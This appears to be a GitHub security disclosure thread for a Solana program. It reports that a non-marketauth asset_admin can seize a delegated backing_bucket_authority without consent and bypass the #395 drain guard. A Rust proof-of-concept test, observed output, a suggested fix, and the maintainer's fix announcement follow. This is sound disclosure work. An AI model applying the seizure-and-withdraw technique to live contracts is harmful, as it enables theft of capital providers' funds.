[High] asset_admin (not marketauth) seizes a delegated backing_bucket_authority and bypasses the #395 drain guard — the fifth leg of the UpdateAssetAuthority bypass

[0x-SquidSol]

Summary

UpdateAssetAuthority lets a party who holds only asset_admin — not marketauth — take a delegated backing_bucket_authority from a capital provider that never consented. Having taken it, that party satisfies local_authorized in handle_withdraw_backing_bucket, which carries none of the conditions the admin path carries.

The consequence is specific: the drain guard shipped in #395 is bypassable. That guard exists precisely to stop the admin side reaching a delegated backing authority, and rotating the authority steps around it rather than defeating it.

This is the fifth leg of the same root cause as #414, #416, #417 and #437. Those closed the backing-bucket-as-registry-PDA case and the two insurance legs; an ordinary signable backing holder is still exposed.

The guard that gets bypassed

handle_withdraw_backing_bucket (src/v16_program.rs:10394) authorizes two ways (:10451-10455):

let local_authorized =
    live_authority_matches(&authorities.backing_bucket_authority, authority.key);
let admin_shutdown_authorized =
    shutdown_drain && live_authority_matches(&cfg.marketauth, authority.key);

and then #395 hardens the admin arm to nothing whenever the role is delegated (:10458-10468):

// F-3 / D-STAKE-1 guard: when backing_bucket_authority is a bound (non-zero) authority
// — which it always is for an activated asset, and which the stake program can set to
// its PDA — the admin shutdown-drain path MUST NOT bypass it. Mirrors the guard in
// handle_withdraw_insurance_asset.
let admin_shutdown_authorized = if authorities.backing_bucket_authority != [0u8; 32] {
    false
} else {
    admin_shutdown_authorized
};

So on any activated asset, marketauth cannot drain a delegated backing bucket at all — not even under shutdown_drain. That is a deliberate, shipped control, and the PoC below confirms it is active.

local_authorized has no such condition. It is satisfied by whoever currently holds the field. And who holds that field is decided by handle_update_asset_authority, where the admin_signed bypass (:12391-12397) skips the current holder's consent check for every kind except the two insurance legs and — since #437 — the oracle leg:

let admin_bypass_permitted = !matches!(
    kind, ASSET_AUTH_INSURANCE | ASSET_AUTH_INSURANCE_OPERATOR | ASSET_AUTH_ORACLE
) || current_value == [0u8; 32];

ASSET_AUTH_BACKING_BUCKET is absent. #424's custody guard (:12418) does not fill the gap — it fires only when current_value is the LP vault registry PDA and that registry is initialized, so an ordinary delegated holder is undefended.

Why this is not a re-litigation of #351

#351 argued marketauth should not be able to shutdown-drain a delegated backing bucket, and was closed as working-as-intended. The substance nonetheless shipped in #395 (3c06dad), which is the guard quoted above.

This report does not ask for that decision to be revisited. It observes that the guard, as shipped, protects only one route. The party in this report is not marketauth, needs no shutdown_drain, and acts on a Live market with no timeout — because rotating the authority converts the request into the local_authorized branch that the guard never touches.

Why the trust boundary is real

backing_bucket_authority defaults to config.marketauth at InitMarket (:1983), so on a fresh market the admin and the holder are the same key and nothing here applies. It becomes a distinct party in exactly the situations the guard was written for: an external capital provider, or the stake program's PDA.

asset_admin is likewise not marketauth in general. It is rotatable in its own right, and for permissionless assets the activator holds it. So the seizing party can be someone with no claim on the market's funds at all.

Reproduction

tests/v16_wrapper.rs, using the existing in-process run_ix harness. Passes against main at a1a8168.

cargo test --test v16_wrapper f3_non_marketauth -- --nocapture
test f3_non_marketauth_asset_admin_seizes_backing_authority_and_bypasses_the_drain_gate ... ok

The test asserts, in order:

1. A capital provider is delegated backing_bucket_authority (provider co-signs) and funds domain 0 with 500.
2. Control — marketauth attempts WithdrawBackingBucket immediately and is refused. Two independent reasons apply here and we have not separated them: fix(wrapper): enforce insurance-withdrawal policy + backing-bucket drain guard (F-1/F-2/F-3) #395's guard forces admin_shutdown_authorized to false because the role is delegated, and shutdown_drain is in any case false on a healthy Live market. Either way the admin arm is closed at this moment, which is all the control needs to establish. The test asserts the refusal, so if that ever stops holding the test fails rather than silently proving nothing.
3. asset_admin is rotated to a third party; the test asserts that party is not marketauth.
4. That party seizes backing_bucket_authority. The provider does not sign. This succeeds.
5. The attacker issues the identical WithdrawBackingBucket that marketauth was refused in step 2, and is authorized.

Observed on main:

provider funded backing domain 0 with 500
CONTROL marketauth withdraw (no shutdown) : Err("Custom(8)")
seizure by non-marketauth asset_admin     : Ok
attacker withdraw (no shutdown)           : Ok

v16_wrapper with this test added: 222 passed / 19 failed, against a clean-main baseline of 221 / 19 — the same 19 pre-existing failures, so no regression.

Scope of what the PoC proves

The test asserts the authorization decision, which is the defect. It deliberately does not assert a token balance: the SPL transfer is a stubbed CPI in the in-process harness (sol_invoke_signed() not available), so no tokens move in this environment. Step 5 shows the instruction is authorized where step 2 shows it is refused; demonstrating settled token movement end to end would need the LiteSVM harness with the built .so, which we have not done here.

Impact

A delegated backing provider's principal is reachable by the asset's admin without the provider's consent, on a live market, with no timeout and no shutdown condition — through a route the project has already decided should be closed for the marketauth path.

We rate this high: it is the same class as #416/#417 (both rated high and fixed), and it reaches a field that gates a token-moving instruction directly.

Suggested direction

Extend the same exclusion, with one carve-out so the LP vault recovery path survives:

let (registry_pda, _) = state::derive_lp_vault_registry(program_id, market_ai.key);
let admin_bypass_permitted = !matches!(
    kind,
    ASSET_AUTH_INSURANCE
        | ASSET_AUTH_INSURANCE_OPERATOR
        | ASSET_AUTH_ORACLE
        | ASSET_AUTH_BACKING_BUCKET
) || current_value == [0u8; 32]
    || (kind == ASSET_AUTH_BACKING_BUCKET && current_value == registry_pda.to_bytes());

The carve-out matters and is not optional. handle_create_lp_vault binds backing_bucket_authority = registry_pda (:14561), a PDA cannot sign, and handle_update_asset_authority enforces expect_signer(current) — so excluding the backing leg unconditionally would weld the field permanently once a vault is closed. That is the brick review of #415 caught, and we verified it recurs: under the unconditional form, backing_authority_rotation_is_allowed_when_no_lp_vault_registry_exists fails with Custom(8). Keeping the bypass for exactly the registry-PDA value leaves that value governed by #424's liveness guard, which already refuses the rotation while the vault is live.

This does not touch #395's guard or the marketauth withdrawal path, so the recovery behaviour that #351 defended is unaffected.

We have not opened a pull request. #437's fix is still in review as #438 and touches the same expression, so we would rather not stack a second change on it before you have looked at the first — and if you would prefer both legs closed in one commit, that is easily done instead. Happy to implement either.

Environment

• Wrapper dcccrypto/percolator-prog main at a1a8168
• Engine dcccrypto/percolator main at 1bea669
• cargo test --test v16_wrapper, rustc 1.97.1

PoC source

Appended to tests/v16_wrapper.rs; reuses that file's existing signer / market_account / init_market / run_ix / top_up_backing_bucket / vault_token_account / vault_authority_account / user_token_account helpers.

/// `UpdateAssetAuthority` lets a party who is only `asset_admin` — not
/// `marketauth` — take a delegated `backing_bucket_authority` from a capital
/// provider that never consented.
///
/// The seizure matters because of what it does to the withdrawal gate.
/// `handle_withdraw_backing_bucket` authorizes two ways:
///
/// ```text
/// local_authorized          = backing_bucket_authority == signer          // no gate
/// admin_shutdown_authorized = shutdown_drain && marketauth == signer      // timeout-gated
/// ```
///
/// Issue #351 was closed as working-as-intended on the basis that the admin's
/// backing recovery is a *deliberate, timeout-gated* net. This test shows that
/// gate can be stepped around: rotate the authority first, and the attacker
/// becomes `local_authorized`, which carries no `shutdown_drain` condition.
///
/// The control is the point — `marketauth` withdrawing at the same moment is
/// refused, so the gate is demonstrably active and demonstrably bypassed.
#[test]
fn f3_non_marketauth_asset_admin_seizes_backing_authority_and_bypasses_the_drain_gate() {
    let mut admin = signer().writable();
    let mut market = market_account();
    let mut provider = signer().writable();
    let mut new_admin = signer().writable();
    let mut attacker = signer().writable();
    let mint = init_market(&mut admin, &mut market);

    // A capital provider is delegated asset 0's backing authority, and funds it.
    run_ix(
        Instruction::UpdateAssetAuthority {
            asset_index: 0,
            kind: ASSET_AUTH_BACKING_BUCKET,
            new_pubkey: provider.key.to_bytes(),
        },
        &mut [&mut admin, &mut provider, &mut market],
    )
    .expect("consented delegation must succeed");
    top_up_backing_bucket(&mut provider, &mut market, 0, 500, 10_000);

    let mut vault = vault_token_account(&market, mint, 500);
    let mut vault_auth = vault_authority_account(&market);
    let mut token_program = token_program_account();

    // CONTROL: the timeout gate is real. `marketauth` cannot withdraw right now.
    let mut admin_dest = user_token_account(admin.key, mint, 0);
    let marketauth_now = run_ix(
        Instruction::WithdrawBackingBucket { domain: 0, amount: 100 },
        &mut [
            &mut admin,
            &mut market,
            &mut admin_dest,
            &mut vault,
            &mut vault_auth,
            &mut token_program,
        ],
    );
    assert!(
        marketauth_now.is_err(),
        "control: marketauth must be refused without shutdown_drain — if this passes, \
         the gate this test is about does not exist"
    );

    // asset_admin is rotated to a party that is NOT marketauth. On a permissionless
    // asset the activator simply is this party from the start.
    run_ix(
        Instruction::UpdateAssetAuthority {
            asset_index: 0,
            kind: ASSET_AUTH_ADMIN,
            new_pubkey: new_admin.key.to_bytes(),
        },
        &mut [&mut admin, &mut new_admin, &mut market],
    )
    .expect("consented asset_admin rotation must succeed");

    let profile = state::read_asset_oracle_profile(&market.data, 0).unwrap();
    assert_eq!(profile.asset_admin, new_admin.key.to_bytes());
    assert_ne!(
        profile.asset_admin, admin.key.to_bytes(),
        "the seizing party must not be marketauth, or this proves nothing about #351"
    );

    // The seizure. The provider does not sign; the market is Live; no timeout.
    run_ix(
        Instruction::UpdateAssetAuthority {
            asset_index: 0,
            kind: ASSET_AUTH_BACKING_BUCKET,
            new_pubkey: attacker.key.to_bytes(),
        },
        &mut [&mut new_admin, &mut attacker, &mut market],
    )
    .expect("SEIZURE: succeeds today with no consent from the provider");

    let after = state::read_asset_oracle_profile(&market.data, 0).unwrap();
    assert_eq!(
        after.backing_bucket_authority,
        attacker.key.to_bytes(),
        "the provider's authority now belongs to the attacker"
    );

    // And the attacker is `local_authorized`, which carries no shutdown_drain gate.
    let mut atk_dest = user_token_account(attacker.key, mint, 0);
    let drained = run_ix(
        Instruction::WithdrawBackingBucket { domain: 0, amount: 100 },
        &mut [
            &mut attacker,
            &mut market,
            &mut atk_dest,
            &mut vault,
            &mut vault_auth,
            &mut token_program,
        ],
    );
    assert!(
        drained.is_ok(),
        "the seized authority withdraws at the same moment marketauth was refused: {drained:?}"
    );

    // NOTE ON SCOPE: this asserts the AUTHORIZATION decision, which is the defect.
    // The SPL transfer itself is a stubbed CPI in this in-process harness
    // (`sol_invoke_signed() not available`), so no tokens actually move here and
    // this test deliberately does not assert a balance.
}

[dcccrypto]

Fixed and deployed to devnet 2026-08-29, verified byte-identical.

Wrapper 75963d9e, sha 4dcbba1932f2fc94, slot 490894349.

Verified against the deployed bytes in percolator-gate — these tests were written to FAIL first, were red for two days, and went green only when the fix reached the chain.

Details per issue:

• [High] asset_admin can seize an asset's oracle_authority from a non-consenting holder and set the asset's mark — the #430 guard names two authority kinds, there are five #437 / [High] asset_admin (not marketauth) seizes a delegated backing_bucket_authority and bypasses the #395 drain guard — the fifth leg of the UpdateAssetAuthority bypass #439 — the guard was an allowlist of KINDS, naming 2 of 5, so ORACLE and BACKING_BUCKET skipped the holder-consent check. INVERTED to an allowlist of STATES with no holder to defend (current_value == 0, or the LP-vault registry PDA), so a sixth authority kind is guarded the day it is added rather than being silently exempt until the next issue. Swept all five kinds: 3 refused before, 5 refused after.
• [High] CreateLpVault applies no bound to redemption_cooldown_slots — the value is write-once and permanently strands all LP principal #440 — MAX_LP_REDEMPTION_COOLDOWN_SLOTS = 78_840_000, matching percolator-stake's cap byte for byte. Deliberately does NOT copy stake's zero-check: stake needs it because UpdateConfig shares the validator, the wrapper has no update path, and an instant-redemption vault is a legitimate choice.
• [Med] BatchTradeCpi fanout budget of 64 is optimistic — 14-leg x 4-tail exhausts compute #436 — the premise was corrected. legs * tail <= 64 bounds the WRONG QUANTITY: measured, a leg costs ~120,000 CU against ~840 for a tail account, so product 12 FAILS while product 64 SUCCEEDS. Lowering the product budget as suggested could not have worked — it would forbid 4x16, which runs fine. MATCHER_BATCH_MAX_LEGS is now 11, the measured ceiling. NECESSARY, NOT SUFFICIENT: per-leg cost varies with market state, so callers must still handle exhaustion below it; this removes only the 12..=16 range that could never work anywhere.

Upstream note for #437/#439: aeyakovenko/percolator-prog had already fixed this (255e56ee) with a stricter guard — it deletes the bypass outright. Ours keeps a registry-PDA carve-out for LP-vault custody, a subsystem upstream does not have. That divergence is deliberate, and test/22-delayed-handoff.test.ts proves it does not reintroduce the ordering attack his branch caught.

For #436, upstream still has 16 and the product budget originated there (91129168), so this defect exists upstream too.